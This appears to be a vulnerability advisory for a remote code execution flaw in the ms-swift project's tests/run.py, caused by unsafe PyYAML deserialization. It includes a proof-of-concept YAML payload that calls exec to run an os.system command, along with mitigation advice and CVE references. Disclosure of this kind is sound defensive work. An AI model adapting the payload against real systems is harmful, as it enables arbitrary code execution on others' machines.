Advisoriesby IbisMS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Description
A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.
If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.
Affected Repository
- Project: [modelscope/ms-swift](https://github.com/modelscope/ms-swift)
- Affect versions: latest
- File:
tests/run.py - GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- Dependency: PyYAML <= 5.3.1
Vulnerable Code
```python
if args.run_config is not None and Path(args.run_config).exists():
with open(args.run_config, encoding='utf-8') as f:
run_config = yaml.load(f, Loader=yaml.FullLoader)
`
Proof of Concept (PoC)
Step 1: Create malicious YAML file (exploit.yaml)
```yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
`
Step 2: Execute with...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| ms-swift PyPI | <= 3.6.3 | No fix yet |
Details and references
## Description A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`. If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution. ## Affected Repository - **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift) - **Affect versions:** latest - **File:** `tests/run.py` - **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420 - **Dependency:** PyYAML <= 5.3.1 ## Vulnerable Code ```python if args.run_config is not None and Path(args.run_config).exists(): with open(args.run_config, encoding='utf-8') as f: run_config = yaml.load(f, Loader=yaml.FullLoader) ``` ## Proof of Concept (PoC) ### Step 1: Create malicious YAML file (`exploit.yaml`) ```yaml !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('mkdir HACKED')" ``` ### Step 2: Execute with vulnerable PyYAML (<= 5.3.1) ```python import yaml with open("exploit.yaml", "r") as f: cfg = yaml.load(f, Loader=yaml.FullLoader) ``` This results in execution of `os.system`, proving code execution. ## Mitigation * Replace `yaml.load()` with `yaml.safe_load()` * Upgrade PyYAML to version 5.4 or later ### Example Fix: ```python # Before yaml.load(f, Loader=yaml.FullLoader) # After yaml.safe_load(f) ``` ## Author * Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩) * Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-502
- Also known as
- CVE-2025-50460, PYSEC-2026-1683
- github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg
- nvd.nist.gov/vuln/detail/CVE-2025-50460
- github.com/modelscope/ms-swift/pull/5174
- github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7
- github.com/Anchor0221/CVE-2025-50460
- github.com/advisories/GHSA-6757-jp84-gxfx
- github.com/modelscope/ms-swift
- github.com/modelscope/ms-swift/blob/main/tests/run.py#L420